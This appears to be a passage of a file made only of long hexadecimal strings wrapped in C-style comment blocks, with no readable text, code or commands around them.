0bc33ef67e29904549bb00cb8c188b7b8a88f8c0c15caa307875caa23ba95002dab8df40174525e44de2a4a2adc5b668a46e51c552709766e48ec69d68a6c6d6ee7de6fbd744dafa1a9f52bc7371bc971e2a7ac55c04e1fec831305789473611916fa5436eba3249bbd0af2b19acfda41d28d243bf595f062840c01a01f6a8bd2c3832081019f7faf93c7aa14ff9f9748656e837a005032a2a78243fc0c788b8a58d0526ca200b79b7b72933d19aa7e54f50d0e8e40458a4c3dfdf48f4f1a1756bf1b48ceb2a1fc83a6dd0c696e08f7876659223a5193e16b51546a3f2da7c8150d9c115ba98175c5e50f07659c2273476c7699d8ba5d7b320cd6573c86c3a2de8e6beafc0ff6f78946b2bfda4f9f9d292ce033876dc4ed815982afb2b935c325e31e3bfb233652d3845f2cff59f1761cf33f2cdc3ffc86b96fe6c89c06e74ac6adf7caf666a86f172e4d9f510acd10c49e4144c30aa30d58448cd74f0a063919d60123c49b423fe3f4d621dfcdc374beb0323b04dc2cd3358b40b95b0dc7135a12910a7e24a860889d9098d6a9e576a57e4d382f83fc20242c81497791bfb5f2988367c50f3609611927c2c1ec3c7583a5cbc3973acfa635756d90fe74121d9cd34163a72f265c3dac54f9f6cce68fd408c7b54d37e1ecc64a8936c50b81f9fb670c50f057ccdf23f4af84c0e718e79585edbad6f0c56759acf563cb75aea98dffc13244edd762b973ba678da6fdbdb2f2bd16186ef7729b6e151dc26914471720daaa59e7f08e757bd8d1e63512d710460c53ae47f321e8102b31e3b56f9620ae9d92120aceae7fce98624074f8fcc63aafe33930cff217decb91cba8ac2f47719b2fde3f1b1814f2c1254bc76b63daa3a896c9fa048b922a088fe8a596d21897b5b2722f234c3012bca68356026e7a51975ef302bfcf1878af2dc9a63c80ad9e961c831b2b6dcc8439e588d4503b3954859051f7bd74205dcf509790c37d8e77a1e28f619ec4a5478bce866559440091a40f28ed19829e47d212dc606dde78342e0bdcf05290ff86c6a362de699260b7f6ab92d2d9a09168f08a0d4e7d72569d750b9cdb77e1c0079483174954dc57ea53f744b7f0a99f8ad8223b53bdbea7fc0950c5044f371f6c6b1aee73093e61383738e5c4f52caae4db3d6f83d93be8139430711c6c025ea744e4db93c20dfdb1a3ff8e065a970e57e7616c4a8c2d0aa5e2d5c149dddef5bce0a2e9c77520513bb*/
/*e43492a7567179edf8871a61e172cd1fd366e05bbf265fa120f8827fafb13356f28f4b4d7947261061cc1f082ad4961ad9d2617887038b9c2d6abda1a9e13a4a751bec090debc9c2a5af229617ddc868b066904c84a8d83bc8650ffa14c7200e72bd01f1fca133e5846d8a1f4c26cf99d75c37281d9339e5f597da0317231c66dcfdeb789b59aa9f800e024b3a063331915cdff03a397139813a240942fe6b27bc4ef46c95011e67cba297b8e2d4ea9915818b681cd3b5bedea64fdb43087dc761a6454e5c75bc0ef1d15bb04bb5d88910bb52b2385af3612d6758f18f533cca1eb3b73361b1de7607e4834d2c79691e5091464671d7e3e2b421a6da569c9dbd20574d6b40d294f4356db8c5eae798e9032b749714ed377b7cbeca12e5e0921cdb68ecf7923b3c5e195a28fab06af592d9e9f24b55c12825bdfc5844ed83935f01ea21e8a048c34f3a02baa5994223f7bab1f564d271dc4afb59860a0519e14f74fc8d99ca74e2b4102dc8867569f09b925670cf2558e5af8ce78ec6f7efac9acb830d29373e01116e82d220c59bff5e70a37c72d95831dbd307e52259a24fe6ffd5a5efa7026c9661064d29774aaac55c50968d4b6c82a99653ab28ed1307862a95d179fa010588561b6bf3b468311f5aa582b77fcf441c0876a10d4f3e2e462a7d72198869ebbf97d39a71e5d64d5bbe38257b907be932e6fcac4a749da56bb1b918b618c3ed7ccff915427e0ce5db0bae10174a00578787fc538c13b1f32b5884f6877a8886bd30b7145a4784cb33bdbc926cfb7cca00509e90d179d87b975bcee26d8f2751f86042adf4c6f4140c8dd4fbacc599d773033d8491bb44af3ec0694919246f0c9c233c4c9bdf82b95ef57151c1694acc7437216431f89d630fdbd033807ce0161bbf6541032e1193a65474dc4c644b1302c4aad0f5b6a9f33386e1d8c447a074b6cfb5fa74cd3f30b306e76dbc2a16baa8e319040c5c50b9b3b5afe9e207527ab83f68b4733942c89c90a31fd08de60ae3564a57d6065cf8bba2bbd5ddc3c5e5d62350c5aa2536dbda7e00d6b7dd9b97a653ae83ad9a2da3ff1b5a057edcc88a6993b54367b0816350c9a0b79e8059b00edc32bf2e0bf2ea59dab335dcc081fa89ecdfe6a9d62e0b48305df751609cbb02c529fe9262e9e4f288874e243b384c8d43b38a3796eb3c9b98cfd1ca1325396876282cd790774a2d21c498b93444408d65a8a73ffb33546bc556467390608326dc708ee2161766c303c42a090f71fd8bf1334c822edfafe4079a875ed0e36a21f7b91a8bad5bfe54e9a883fe45fe5cf1760c90bff48a1b8855f1e50e4f78ae343236e8350018cf6455e23a23c1cf1f333eb5c610e1d51b63e62ddd9186dd8ccab68b0ec01d2f72533b52b1a50cae11e5fd92d8dd3c6b2c8ccbef738afdd2665a4337409980cf84a185b742af8454c714bcf513dd97897748d62d3f6a0074ef611d977419dd456840ee96cb7744f42a1163fa71c5d0f277c5e3c9bb6ebfb00af97e1d9bf4c4122a0fc0dcda8e594eb4cd179d8b4c22cb2dc9e368e4018633c8a4ec7639418a7d7f41288981100168677b0b3c469f25f4fc8721a9ea4cdbd46f22c6a68e2efdccc45683e2c7f81df1b2a8bf25bbfb27207caf5bc9eb3fd9541ba6836b3eba3296854714a90a53dffa3c6a52def5bbb1964c2375bb77cd8f1c36abbe07fd89e648c8b059441236094e9f1004596df72b2b0d00f194c41f8061f82644a5c155463ff9fbb610f04f093f5e59d0423cc7db7b29d0e110ff98ba56344514639b04f541b4e37a4e474c65753b5ea89619766d8bea7ba0166477f970c26ccdcf0b4a13971ebcc8bbc71f3183f9b9c2408dfe1e60292e9813a0286fbb29c148babd38b61f759ab940d68c5310ee07a34b9dc33e6955e9680ef8d91ffdfd2430c819a388d3c0f7318d5641e6ac9c11488701612b19210f0fcb44f5d68934a5d750037c116c0f6896cbc65696b1dcdd50d7da47c29003aa78026bd910b98cb820dc5955de1eb28821d69731e69a8e61f9b7fd7e6f3b4a89ec416a1f4d1937c05d72e9d92ed05d89719a77fb59dacf2fed100f0bf97658770df7bf17b0bede22f8b2b1014541b7f8632d76a77949dc84f438fd863668a853650983924742a317ddf422736d2aa8c30961dcba3a1522a4234594cbd7206e06deb34166ded841eeb1569c9d2d915705d723011725470735810a4cbfeff19c4e57f6523d34ab1f48894dc43a4f0f3c99d662a002bb1fbe15daa6c177194620048ae981bda167742845f574e9765b24d615eabdb2856da6b632aec01ea3956b9f5bac2f29f6c7c7508e09bc09946b80554863b37d8fef199979791e229d3d371b98773384e8c73914d92c1d5f96a10513b97adffb3e1ffad5408bd1e0cf0cf290daa72b48fef8b645b747e96c5c7b7e9f14202dae4f69523dd8b073a9feca216ee0bc7dd5f625e85ebd14659223ca025482877a8adfcefdf78d33634f00c2391cd3b4758f40ab37e46b173d02ff139b34721933fc5b5d30c8839f4acf24580a29985b01feca0fd3c02084a38630533e9476e6bb42c8ba262240fa8f3234c47f6b12fca0a3221f6a104d459d3df303a82c5f818866b30d89b79626468afe1ba268f676a3371d8c5c47c9b1c9ea4f0febcdc95671e6b929d54c2f96f5b0b6ee74b06b40d62f4a51ef57cd75af45d19a24c516885174b3f687feca2c84ca0552430664b957b4396ac3ef62f0d2c5cd8f2bcb51dcfdf15a4e9cf15dd74d5ff38fe660d1209d5f690baf29f6a321595d96045aba8087cd3ee06f116ff2057896184a08*/
/*17b02813e30cc4f07960ff1c20570977ffd988ad52d9c2940a3457a60cbf3b4660ad2d747bd0d21bc21df77588589c5099acbdbf4fcdaa107161969043d480e041d72449022fb67025d8eb31a5650621ce6f567d66eae3944179c274e095d8d3c3572ac10f21b6e057daa3e3c1b87afffe6e6428448068b9a2eac47a4dfa0872e34a729a049546634eb7ab676062655636e4b4d04a2cdc3799777d3cbbd348023c34bef68dad790e84f45de1c4997ff6c9ac4103d57a727dc54e2f115db03ff7ac0b8415a80afde45924167b0b54a36d681800c31870899f0cd77ca3fd8b064edaf94194c9cd95b12be4f33fb724d0d529db5e562f9922c31e4cb4fc3d3589680f303e598b4608f706675d4ed5a308ffb0e8ac7c91eb76cbdb40581a562d680751e85a5898cc61884ede72f266923c5c3560df4dc30e56c4462662bfb76172a9135358f490cb7163df821301f1ba9d806887b04a2c4f0cc5327f29f9e1deb5af8f112df1c5c3ad82dd5f6df1def7ebee577c7ded246d8a24e5bfb311378633c7edb42cefa8918756d1196cac7068d83a5e19a71af87411661de30d049eaa7cfcb520024c3c3710d55c57d25da0f5c99bd7c6b5e2d51600c68d358357b3536f18f78e2d85934feae6d16632430ba5875601864b8c0300dc796595d522cfcb6a034b493a1b5a2d952b9307bdeeff0e95f384a1818440fc79823d4a091b20d7196d4f4a81e5cb4a8f723bd072857eb48116d493eec750ab95d7a23795ba15986706f8faccfda36f9c411a3ec4bcdd8b3f32f1b2befbde3a54997289607be5f2c64163a38da11cb59af293747b8ecb144657d8d81b9270c0a0090065b074790ee7fd9cde0bcf1d5f2d16efc05d6a837514456999e5dde6f796e1460d06d1875d8d7f35133f84ea945704dd587e9030cc3ba6b95e7a4ea37e33929db1714bde397762518ece4524fa0102d6617d1f14e13a68af146e5b792d69a4b328436f0b28aa15c9ef24c8c5e66e2f6fa6a646b1541f7b1e376e6b659c9060af041e89e335e24f93f4806b4de485fcfa89b197d5b1e6d43dd6be40e8d4e97864532ca277b9902f928e3fd9589382512dfabc49447aaf1ea42fadf452f4e921f3e978250589475a7d4a4443845c89d4540ebda1084bbed0097956e7f5677ce43c869fc266efb49b8879625ebfdab9a74c3612387b8368427d7284a403946b1b227e66dbd1c4cf52b77c9986ddd580f23431d3893d8eb55c496846d142ddfff3d441eb769a76d5c0402fe7f25dcbbc0b962bd00c6d3d4f4390a695e841f0d79f7f5acb9a43b9e44d46f8644bdeb111f3998b186a4171ff49889a7c03744d528d399fd7dd42c3ca0ccf4644180a6dcca6c9a273465053bb2ea16a62407d88db6496154b2f0fd8cb48da1b90863db5f7c1d97b0e54c4285cb5b7db6f749b013fcdb6b35d84869e9b976b3fb3bb58c3d3beb02ab10d1fd5b74fe4653cefc726565b48688a0eba54b52a2a62fd2add1aaf7e51a0f99fc066b7a2b2dec2993a584d1ed36776ddd34b0da881776a5ae9f4f04a190d14bd50b9ec7a69fecbe61c6c40ab29aaa8b45f4ac1f437f5006201cdedbb9a242398c2e445b234b7a3b0cf28acd3544d0ec191288eb0bd9dac0043090d3bfcdc7d24377473ee9872d8caa14d72494f5ded5560de495066b4cc599c500373c906bd1e6715f94e50e4278709fe2de1522162124163cee7af39702c7237a97311d6785040b2f8affc81bc7726866d403d03fceba5f4f4e60ad5606b1bd60c279cfd1908d601b8e6931b71d7a8c015d745032d46578a21d889de081b9de19e8b960e6214f8505a6f6b5c92985d68164274aa49264908163286deb7ace0e53eef7187463a2ef7896b5cf9cb40b96dd92e5b2dc8c43181b2523c3f5927978049621e46cab0015c3a32fd6de480507365c54ae551135c47a0367378bcc4283a1916ae4f1115001f8f64f45999756b8ca0b57f4a584bc29f76e1c14c244552ccd809d378f4055e28b97828d3303a45cf7fa3f1090772618c1cea538bfb6cfc37b698fdbc8ea24dbb8c2bfeed7a436988f4128e315c1c9ff5b109c8c88e502ab211b38cbebb36840f976276c13ffe5414a179015e094cb0fe85063fa2602bd8c8f759b785003be41629667a7977f8aae9d5345fc81e13535501e90d6439add247649134a54082a6fab330b6221b1edc969b8d8e553eee0b9722615d6ff5c785887788d8c5c45022f371b1c086c33f84d308a3302ceb8aedc3e47425c8164ad7394e0baaba4910980433f3cfba742247bd59d97a806aa77b1a5d914bbfc3b94c488b9a3daaa2e451c7b54347e4677358508850bedb414d68178a0be9c0d51131f2f4999ae67a62b0f249f7d5c4c37ad89edc4430d7e390b3bc7d6c9bc4546fd4a107d13e5bf39e1d4c8ede18451c491f202938d465c989b3898f02afbc9e9d2ad01b457c7ab0f8d71993cf89f7a98e82a3040bc41e42a5490aa8f7ff663e6a2730b2b38bca777249ad6843be282685c6f30f4d179bb111907c399c682c7e2391953a03d01a7e78acdffea9c07012991347cd1af83e055a2416a403cd83a0ab719dea3f1265ee7b072ceb7670d51b8545bdded45660ea0c7ce4e7bbcf5d6f1efeb5553d5144eed0c416c5472ba6887fc286847e743500c03896cbd2be38ce7f84314c1ace906029b01c9a381056f973cc454dc3d50434b1674f30805a9a4bc9973382b12198b5194ebda96fdcfb2e19e146ca0d58122ccd412f2bbd3f995dcc4f58ad95f502fb79009c9ec264328df8ba9f17f74e1036fa361b57f5f327e14f11dd0b468e1361217d65c150*/
/*10d7ef19f941eb2ef695e80e290206b8eeb91341586e7d09f5765c8f5e5ad4ffbc587947cf65d880cea6482ece803a795c2ac57e752e795a487249ff9728e02781e210c490639b1ed4003d85449409434dfa9a2d6846ac6e8ceef6bb7974a3c5911f1fac00064b0ba8498b5d80238d5a920203aa69e0011f80676fefe2de70fd0059a966ff32cdee6666a99cf8eab1ca5cc693413adc574dd665d1b5d3ca1585b9413272b9534582c87221c3920ca33a61fb43492aed58a840ee1339cab29b1b7c9a1514c74be4b0417accc856c7e839e7de6c43b6c79eeac22c3154474e873241fbb72f79dfc3f9e148916d02b375fc84c1c09f58665763c70c6b59a54fa9aab8c5a2a6986c19c0614f0ca435ef8c18fbc24b16425240a59c491db1e981691ff2ba4c7fd3d342af80616a1fa8ee6c1e540d8e45fcc37bf6c9da1659a2f8af59113f67a3fd79a8004cea6cf37bdf1e1fe875748f3ca2e800126ec6fc7f403bc452b5aded9c959cd576cbb588dfb50d7aa4607d30d9645de96e6097ac0654df7d5280153b0e00df28f11eba40f9b93fc5bdbae4c3b9d0ad3c620bbfe134bd07fa283df1d0fe19776a13f4da48837261829b0cb53dac0b54930fbf99e074b94e7e66326f01a7bed21b57ad6b55dfc5898e436eab7e80040e963742aecf95eb17e7672639ae362fa3cea6163c2d973d7681768b144f8572a78ef7bb770107fbdeff9f5013e0749b1f6784bdbf9d54c1e4d56a74e2c96ac143ccb4f7471250e0468f5dc60cad595796665ab02fdd4cd3ec9c0de1f030d2382a8c8d909c35930439f37a1294170fb2f9d5bec196ee8606db95c09d27f4f50065f5bfdc855a3ceebb6e0b35f1f95639fdaf39dc79bdef837b8e1f0ad377f52f475c5b239e43f05ed5062569a7c30384d16fad237e086c67f85bc7943683fcb457ff8400316af284ec5bb135f18aeb8b3fc505e1207002c09d67f3b70a3d418817f7a8e672d1afeb8c3c5829b4e9a8373bef2fa43aa9b929eac086c4c0494086183e21dbf568ec7a9bf05bbb8eb9b261f92d0674608a6b54ff7a7999b3c21208c5987b717f4df7fdb7980f510cc910cdb022ccdf931683d298d39858e14eef2f04dc0bc54f7f7dbbe17c869ada2bdfac8df2d67e04eca5901705b1a363aa19e7948427c623e6f6556f4bdfde831d162f9e0ee874c9f4c9c2b9273481f0b2386481ebcdab8ec79efc9b59fb32b84b7b969e4466c4d65e7b4fd5b09705d26adfa2f8bcfb9887d2d7de89b476e6aa6769be2ddabe9849844f77d766c28f3adcb70c735cf344e2e7c5cb2671b1b3209110cacc30c115af4c40c497020add3b0f45c3232f5d254f5f9e84dd21a7a2475177ea8bd726ccaf989bd9074082d40c1308ff0154d70b69317df08a8f4c7984cfd0c664ff326a12312ea2f0fa1c3c4932742b2dd1f06fad607f7ee7367b8a38c303e21278763e6a105061ba8b48ed867e01ee59209f3c23765d9119342a58c30dba0125f2d2f263e80586e5394faa1a56ed114bdc15e3026a3b8c6733f9588745297f8786c848ff79ceaead3d425293310ac4feb820c587eb4fe19d99b1106d84fff2ab350629bb24e46fb97f8cdb195b862aa51ca1bb024e8ac20fd8420149d302db6a37dc6d73b791e6f45b7fec4d2c9838f105228263f543816b557c455b7220b9933e99773a121f16ced4c6a3cedb90177e5e765a79104cbc68a428af78deac7ba4ca9b114340c5ceec33f517f29979e0a1760742ea7539d2dbfbbbeb731d7f768a860c224b4f5b0552f6487851c102f3556c5285e4e83fd33979dde5d00a95312ff96b780a8541e84e9978bbddc3aabaa123e6ba11d7808467fc019eb0c97502ed4a86b25dc9b4c0367c64ff1204c90ac9bffaf0373f9faa0ea398f0da62b81abbfcda212ae75ae3326692eaf4039878b7f9f78408441610c48cc25f6b384d06f2681265e4ed9c0b5fb035bb41334c822400a70563470aeb8f274c2e564d3644e1dc98a5705b8716ec60d5996b403873d479229e8aead8fa111ca1a499c05d5fd1f72fbd26826dbb3cbee1ad71e54aa5bdd41e29863ed2f3679468b194ea0d317f4c4aef4f66f3d6fc0b2e2441559a5d6f1f1997cd87809e8125df1b405678a4777de888c4ec28a4a7e3a5521c1187dbb7c14913a634716e722cff03b1e002a0e8d9fbf53703024c88f5a72dc5b1bbc839815d224dcda14fdf4b7a6e71cf9e07649dcf22b35d4dcbbbd913288de7bc7242ac2f9644016205c9bf515ab4657f399342f3f8d45318b1e48a25614c5488385976991732dd4627509992ec8bd0026b7933de114a70683abc13b1c950e83444c357d4081ef827ddff1ae7bf6c330105a9c2ce76d6d97ec8ce54a1fd90939e108f45f074174762c9b35ef68510e750ce7c61f2fc38e768d380b2a030640efe8e1a85bb0df0c9b6cc06f3799c3a040ef88941523c3b84188c4c7fa815ed836830b1d679a9c4c835e7372a8aa68b26448e7d596f62144bad58289015cad20dbf2a232ca5d8cdf4fb47c60a2ddc8be415844162063d21a2a4a9c3fabfcbf940a854222a8af518584aeb38cf1bb8d6c9c93f80b578f32eb0039a08264addd7711c3be8c84bdfde7585e1800b40a4532459dacccf76feb189d4981907e40c18e5fdc1eb91efc6a491f324d4ed10bb3e51e7b4bb0b0883c66d1b587d69c3da59bbbbc4d3250b65332febd5faf95ab0acb4a8ccbb88ee0396388f1892679bc5fc5e9985d41618d986ee5b9a3a5458ff966e878882672f7dca0078d2fc96ad7f8b71a5978cceb0c188371ac0739c0dc4535ab217876a8ae638a93cef7b46*/
/*dfb8c969c00c942e69bf00496355d10978d37275dd9477c7f0884efe6268c73c3a02dd7fa76027d17b774f2759b1e1400e90ecc3f5dcb0bf3b69041523016123d0de91f41788a8f0fee1a8b57bab9c98c8b33ecd106e05b8f01d43a7e7ca81533bfac24c372c0316ab0d4d95cf73bfd4a8da197d5759604bbf1af8eec295840ea43bfd354d5d24415167e41de130b04aca2da8b6f3f30aa63a4a75b8182205384e71c6aec76f99bf2e898cd091896af70926430313c35055f96361e5cdf8edfee7e8ee14231fb43e2dc6a45c404bc075ae0516db1f52d4626aaa2fb2ad6ed812344dd692a24650c95fe23b41bbc348412f9c6841d24466969e2146ab9c127ea68f647652b37a89e6519cbef499bbe91dc5d68325869e39478e11c0c51c0200cdc8d0d746a75477e99492955a3ffb9796e3ef98acb8bb54af929ad741d160858df9e223ae9f0954ebd1ceb21c95f5f56b1fe3bc550e463eab3e26b5abc78c839a2a9a441d81cc908967f3c614e839ef86bfdf488ab0577937551853f1476fa9a6fb18813f877397d0a2528590dd7cb5c0390e4d9e959011af7d1accebc1df188fad3963307cf7ab704ac67f67bae9af09992dfd60e13c0a75661565755ae0f2728ff70b919cb78a7decaedbb49f72c77b55e713b39c09c5c99c18fceb3955d9b6bd205961e6e4a97e499cd0ed5cf90cea66f7e87b9816b13cb8cc15cc67a3e7021e670feaa0304d2e38b21531cde1eef90f331808d4be4a8d8434f7f33878d59acaeea1b00e8544989fd811cca2fac7c3d6bec0e19ac50d1cb332f11e5a0219018c08ae503a85d0c48709f10b28fa2bb8a5a45c127ce84a423cd741f38fc8da07f40ff97599862b81da36fcbe5b477ac67792c6837880c5a1c05d877fed2d020b93ce1f5a4fbe9ed4f2a8dae4d27ba77038dba9f1b2e321547424724576ca7efcf28a522914ac93135b380565e94eb42f0082c724720bf21979db133845fce722fa48e5e91b6872b398ada0bf5cdeac0bddf3445c47ecdb7e8d09f96404d4d95a73119bca4ad790d2d8257e2cf8a1ebc1af200f845dcf2d47c882c5295ec25746ca80f3199b9ed7600a77d6c63fb689930b7f76299eaf52ec00d3bf137c3db49c8a248c33a07a5928c12ce643e750851219c00f42619ebab875f3765df68a7e35e073d8287ecae22bd6b84d11b6845d608f3b3b505343ebe1a37cf3f1effc539704675ef49378e27a4b01b45ae84012730658bd3a4971a80dbf41266e872f13ff17b11e548b260640f494e5c8a7cb54600ca16d8097d96482779a6edf297c008e5ac8ef329ae457d3626ffc747023cc3f8508512322c2a5e032f0cd1d8b38acfe3cef7579c8fb48df79ec40136d3100b9f36ec4fbd7860fe082088438abf6e97729942586505c4ab6555066ffd236a1997e325bddf85ca7cf38ed5af20ff395c7586ec0d76559dad18f188ec82a58e575fb4f2a86d5c860773d6a46c597718f10db5629924b16278c50e18bd6c95e39669e70c0d748d674544dc48999cd49eeb7638922a3856fcfb73b18580e3107249a8b61f241d0cbc3d6e958a89a94e08385e6551d25aa73f468a156dfcbec91fdf208100a541efa33e50b39f25a206bd8630f36274c3654fa0e03c2f07c9e8987ff395caff90539401e2226553a10d18c7e817488dc11d97edb26d53b1c6de47f58edfe563daa9ef0b5bd13036bf766f2dcb6b2153b2a36d05b95e376cd6b8475f322fabaadfab1a6b24ccffca47e8d5c55991cb0da98f1a5c83b64b00f95791f084b7cdeb0e026c2c5ae66c05f352d45453db1450ae051a6555fc3c3189c476bfa98115eefd86dda03eaedb963cd569e3ba00fd07e269c7269039130093457212a12584edbc1261ff4d2b1516da3ee38f0d5a330ee8fae5d6d8a709d8f0f8b1213805feb2d669b308fad989e3bd6d6e25ba995e80b8cb602a46aad9545073d46a89a38d67f94f0ce83e92d913bb4f1b39cd4d9730b1365a539e561ba4b77a9ae89770991326bea79fd339a0553551cf817c9e005c713b87bc9dff5385fbc540e36368b87f24eccc02ee5d1ea35ffb8b368f6895b389589f91a799e4c7899e3fa918218338bd6f66adc04e8d2d92451bf35e4f1cf1232cf40b88b0645d728f668a82debb5d19f1c57aeffa886ba34bc4528a4a246e1c619a72d7bc115015d16603764e89073176be2f072043bc116805560d2c46120731cbab9593c92e70c88e81ea07f749831895347ccd3a19d83d6ab121ce9fdadad1505014e1fac5abe1b73b503545e214675ef2eac1150cf9c27960abbdf00a8f553c3ba021f625f66f1e3b348860d2b5d75e477153aa930e7cf2cb227856db63137249babe8de173fc3f58d09ade7f5bd3f998f4a0c30d8a7b8aebb3c63685744702f34b2b60a5ee872721f4f246979053cab3042ccc6fb9e081a9dcb8afebd45e051993f948af3e4a73d84870e237a97b7f3dd9e9c3d835be733fe3bfcfa6f98408a1867e39d7fbc6d535915bc2e0bf16e9be3811d56ce3fafff2f9091026580dd912702f764ca2c86c1a6d0b269f625f3b3a0defd31da143ff3733f41755acfb1204be50e8a5797911136b0f16c13ef4c6a207f15b9b0bf0935e55ab5311aa6f737d534790ddb09a3a9b2be4d9e90572bd596140313f8b0a17860c6d71a1642e302849a5cc3899a57e0a2c58ec2bbfd5c945ab173b81d4d45cf3e97f6d6964df00d428b09afda9f68b64abca51c17a684b8eea73eb57683a8a7cdb7451bb3b13319f018ec94c7a8bf0ba748e0794f32f3f52623037117b1990772d192c4f9944309e93720407154403519*/
/*92cad47779b5f848ccbddb683f7b2461bae25e999fda217be9f660d0c60a73401478c7af9ea0612ec78708b1928a2295e9f6a016e8c368a87a1c4ad8d7874a3f7dda0f55758272c90ab8b47860354b5b3f09a0c1a967d7d00ea8e32cd75f9488dd6aabe44fd4899886ba6497d4cdc6facdfc253edc9cd0d0e9158070217ebab9760971c8a45d0a7399a23ddb9fb65939721eadd78a5a7fd9fe0392973cb4a9194af5c15cedb548a8baafdb2a607ef6617c997bbcc44f2d040fb3aa18722c2db5a5ab046eaebdef4425fceac1c96d7e9b9335604333e641255066fae583458c4772eaf9787c185259c8c45286d434459277c98b878b3882989e6695c8ded6e9a1387f7ebcddcaf1056ee29149d6309d1427f9c0817e301fb428ca33ba8007646668fa3e656c0598360de54e16554a4004d628ca0d204c6e0cf58cdbd727d40da9295071ef914f1fdd38482136cf2bed7fff25163a0602b71af00fc0ff57b3f99833f0d6b551994bc0e999a4859efeda7b39b5fa889304ba90672ccc9592338815d52a8d681918772dd6f47cad0f5e25eea11e3b95782d337be501b58706d54ea496ced63ad4b14badf580eaf72a3d58a6cf54028063b60522a1151ce8194aea02b8250020df0d248cf7001349f55fa427a34b578bb8bd43f0c916fe28bee04b188636ecb487259da21ee485223ca43c52955413e53d4f80fccd7d112761b5eb5fab7dfc0f463817dab66797466f2d089f3659bbcb12c44ddb09588177513062d4c9012853c976b1fca86a9a18d9f8716669b506808e7ac197fc14fac9c299bc969092df99b2faafe129e93f52a0824bd1b55e158ab1fd858336f921bc1d9ebcbf66458e0a963ddc8c7a1448785d803b639ab9dc8ad6f9cd26466a6a979f6fcf9ee25a6f50e40df1a67657307d472e3e6e243d479b4b57e9f317b8b6fa85af4662ef08cd014c69ab4bf2b1fd9f84ddae922c1c317748856303169ec1cabf41d1a3c0b84d361264a1faf9ea935768a6dbd68547b202d6d912c8d1e723f3a101beb28337db70c09c9b1fd2dc381f505da428caad9585216e4eb4fef58cea4e06e0d98df5981bf4cb9d3efb502129b468a118e6dd1d6c6286a48041277cfda62b339fb0120e971d8383454fadf7d302839074d5f5dc8baf13352ea7fd084602e6c586a69ac3dbea10ac325ecedab8b82c89e60cc65c0aafd423668233fa711c571102658bf9fda13147b019e1f021c0d1938920bce4615cd2fe35e322da84398b98c11ebb0d2911a6e202ba49a64ee9d0fe399886acf2db8b2a67f132337e7f8dd631cc40a92e4e00f22a0a51afe902d885c835d2c744f89a0ce07218719b722d640d3bb958f6bff79fede971225e92f0f65edd6a74ecb3405323b18544516dc35e5d5086d5042c493cdddb604ec536d5d0fec474bad4e2d471958749c6b89dc221925b03ce785a42f5a4f4dc79fab1052e42fbd7fca33fbc38f3509b0f51ae13b45ddeda3ba8bdd5c81451f64ba364476aefd7637ad5a0b0ec6c2383f22e21f16f6a9a86aa5e58c288f16aad7f0e531b3da1fd0bbcc51fa51bcde498b75f46b8467735793a8b82cef187aece55ef03290d7e466b3834abd4d86be2d9e7d3315b882f487482e0f65d68f431eccc8f275c33c150b279f1e9c0ff0a43f7f21bc972ba0b68d3f6cf7cbdf2b08775ebcd187c4724d58af63e3957dbba41f254f4a9737f11268408bc7b00abd56f7e7620f3d3f216d78d9a5216257a8a60897f39a1905bfe8c8491d0deff7b77dde5584cd21f74e545abb1ab4b0c56ffd38dab7d81fead56979aff087352ad224bae80cb5a0b47caeb9e6ca8c92bcc8bc1b2efc62e899c0d7f5339b85df6338c807901354a236fcbd121c8ed4103f8d219ff38e0a27ed12ceae7b93a0056ca0165bd08f030e32450fa8c01baff0bacd606d6f566ebe0e3502cced5bb12ba43b83ba94133c40215b07f126f20a2b8b72198f7f697e065acf26a6b275364846fa1093cfa8bc6bdca6324eb4c9c5e7810aab7a5152ab3a87e02bf3e5dc4380f0198f8da114560c8b176feb22168809a219bdeb99a1bd001e11a3abd048ec721d0f0281e9dd5ecfae94291d9a413807635a9a53a3ab9f628efadc3d3f67a98bd69918d384a41e36d4d4a9ae176458a61f3617fc6553f6fa399196bb60ec4abcef6cd0674e302d785ed5036af09776b83aee83a28846aea917fd800de25d158afc62736784989dd63d808385d94a7067937cf4a50a536452a88f6b69e51ac2f8a5391bc2b1b0d85ea1a38a43c336e9ba6a4944c62feefff0e89f06e5a51fb94e05938284fe666eb84ae1b0fb430a6b7bc0c8d0adde3743058509a718bfb53af4074b0bb54d325cc4b334860aeaf13e6780a401ca0f85d7ecc5a76e0f6a8b58f4c16d14f18b449de9c90a41a56200bcd7a2e20c445c0967d896193b3927f2c12118e8854226ba6765a54deea391cee7c8e343b8a982bb0599cf8aed62f1c54d510a5dbc811f2af99c9178386406dc46fef32c625f0e4484952d8fb99ef4bbee33492801962b6eda93f61909905ed52a73d591e6b0ca4c767fa27e4e62026fbb57712f8bbb1a81cd12001c01e1828f1180faf5928a5c1c75c4a4b9c1a0b6beb8296792a06a33babaae304bcef28e9d3cb95325f567bafa7e9f34e02b53e9aec375f1220d9c9db3aeee423762ffc10243a80fd86aa48cd71b091ea0cd93f8d5826a5ffd918c38d73a753cbd143f8c0afa1266ec4e1dfc82b0040a9c158679f3a2475bfff45bcdc0abda91e00440eb518aa14d36d511530bf7888ff0fbb1ffe27955788b23c75d40b2269fe17*/
/*00d60cef9ee3a51e35ca87618fa6cdb3a925a80c09da87eb8c6e8cc30362775e9a356daf735462e83101823aafcad7fecdf320600658880424fdfd4e99e077dad334a3c2125798bf4b2cd47951a0a07de02a24c8da331630b44edc92a4ee442a1779bcad507965ca0cb0af8fa18329df79ddbb668d53a77df620ba2aaf607ff8ad7d0aa6d1489aed0ef9998b6eec56a1d5372622b2b09ad1d0af627fc292c5c7aaf85a4a4b228975b8ad546767229921fab06039a66b9ee47aa1dcf78d9851039cb82d46853c9558f6a372408e733df158dfba20ad93a03f83df593de28118a948575632204785965a41d3047037134627fd8f606d0b88b852b60851a765e95dd10d358973c5291ce65337b3027166af0b58a337f4849bffd2f7e235bb9c5e7a6af5d36775eb8ee98a9ac203654bceb5cf074f2c12a34ac88092e6cdccbe9a6fe5e56806be64518f631aee990eb719b2ec903335eeb464fa9b9c27dc44aecc41f471fc7552fca0a3039d453849fd8dd575d6c7d4a3e1432abe1f2eea8dd4dd5ae7f05058a3c240024e40fde5fb03225e59100f56628147be9a4035a82539532951fbe6d172b18f1e95ba69b8985603748fa3fa8919d5f9108309178d32dab7e87ea4eb27be9a467bedffd092fa85c2abd2f0acf5a6a11673b3e86b58e8defdbbf2101e7b41af2ba740a9504a61bda5ca3be3fda977bc0b2c1c16fca61335062a2b205bbf0d73ca0d0d056f40248bca0844b65699a66fca9da99ecc839efc8246a7c6ceb90882f0a0badded4dfc25a25762bf3dedf0283702665bb31a6244321983cbc7cc10f04404c2a1e8936456aa0b74c6fd98d1dea1